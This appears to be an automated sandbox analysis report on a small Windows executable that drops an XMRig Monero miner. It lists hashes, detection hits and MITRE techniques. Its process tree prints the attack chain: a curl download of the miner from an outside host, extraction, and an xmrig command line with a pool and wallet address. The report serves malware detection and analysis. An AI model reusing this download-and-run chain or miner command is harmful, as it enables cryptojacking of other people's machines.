xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:54

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General

Target

test - Copy (9).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral13/files/0x0007000000023217-21.dat	family_xmrig
behavioral13/files/0x0007000000023217-21.dat	xmrig
behavioral13/memory/4444-26-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig
behavioral13/memory/4444-27-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig
behavioral13/memory/4444-30-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig
behavioral13/memory/4444-31-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig
behavioral13/memory/4444-33-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig
behavioral13/memory/4444-35-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig
behavioral13/memory/4444-36-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig
behavioral13/memory/4444-37-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	test - Copy (9).exe

Executes dropped EXE 1 IoCs

pid	Process
4444	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4444	xmrig.exe
Token: SeLockMemoryPrivilege	4444	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4444	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 184 wrote to memory of 1984	184	test - Copy (9).exe	90
PID 184 wrote to memory of 1984	184	test - Copy (9).exe	90
PID 1984 wrote to memory of 4864	1984	cmd.exe	92
PID 1984 wrote to memory of 4864	1984	cmd.exe	92
PID 1984 wrote to memory of 924	1984	cmd.exe	105
PID 1984 wrote to memory of 924	1984	cmd.exe	105
PID 1984 wrote to memory of 4444	1984	cmd.exe	106
PID 1984 wrote to memory of 4444	1984	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\test - Copy (9).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (9).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8UpeMi2G.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:4864
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:924
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8UpeMi2G.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
87KB

MD5
43ae6ca576b8f32a3a70cb4b53c3733d

SHA1
e217a4ef7c93dbc890ee2b9308e2edb78bda496d

SHA256
aca9e9dc0975e6d2f67259b7d54f72605e70d2bd7aa1fe4d581a59cd011a987d

SHA512
9edf3e80d6ec779b63e11d15329f3e4fcca1c6f0b2f49d57abff3c7b03d2de2a04e8b8772bc124f32cca1ad051b629aefce3452ab553ed6063a50b57229afaa3

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
273KB

MD5
3a11aa292c6de7032f0074f171d8bab6

SHA1
c1565ae9f5854892b065d79b1e654b1767ac9939

SHA256
d58074de1efaf171d9e3443c9557dba3529fd395dafffd9cb62b8f2effb33ea6

SHA512
e075ddaae0c5ff74758d6f2eccdc3bc1dd8c421d935617b6c120b42cb9ad70dda5cf1cc6ef34744a90126f01166613d2ca674084bb4f72ecaeaa4a0cd8fb3ac7

Download Submit
memory/184-5-0x00007FFCD5E30000-0x00007FFCD68F1000-memory.dmp

Filesize
10.8MB

Download
memory/184-7-0x00007FFCD5E30000-0x00007FFCD68F1000-memory.dmp

Filesize
10.8MB

Download
memory/184-24-0x00007FFCD5E30000-0x00007FFCD68F1000-memory.dmp

Filesize
10.8MB

Download
memory/184-0-0x0000000000A10000-0x0000000000A18000-memory.dmp

Filesize
32KB

Download
memory/4444-27-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-25-0x000001FA8FC70000-0x000001FA8FC90000-memory.dmp

Filesize
128KB

Download
memory/4444-26-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-23-0x000001FA8F990000-0x000001FA8F9B0000-memory.dmp

Filesize
128KB

Download
memory/4444-28-0x000001FA913B0000-0x000001FA913D0000-memory.dmp

Filesize
128KB

Download
memory/4444-29-0x000001FA913D0000-0x000001FA913F0000-memory.dmp

Filesize
128KB

Download
memory/4444-30-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-31-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-33-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-35-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-36-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-37-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download
memory/4444-39-0x00007FF6F4280000-0x00007FF6F4D84000-memory.dmp

Filesize
11.0MB

Download

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Analysis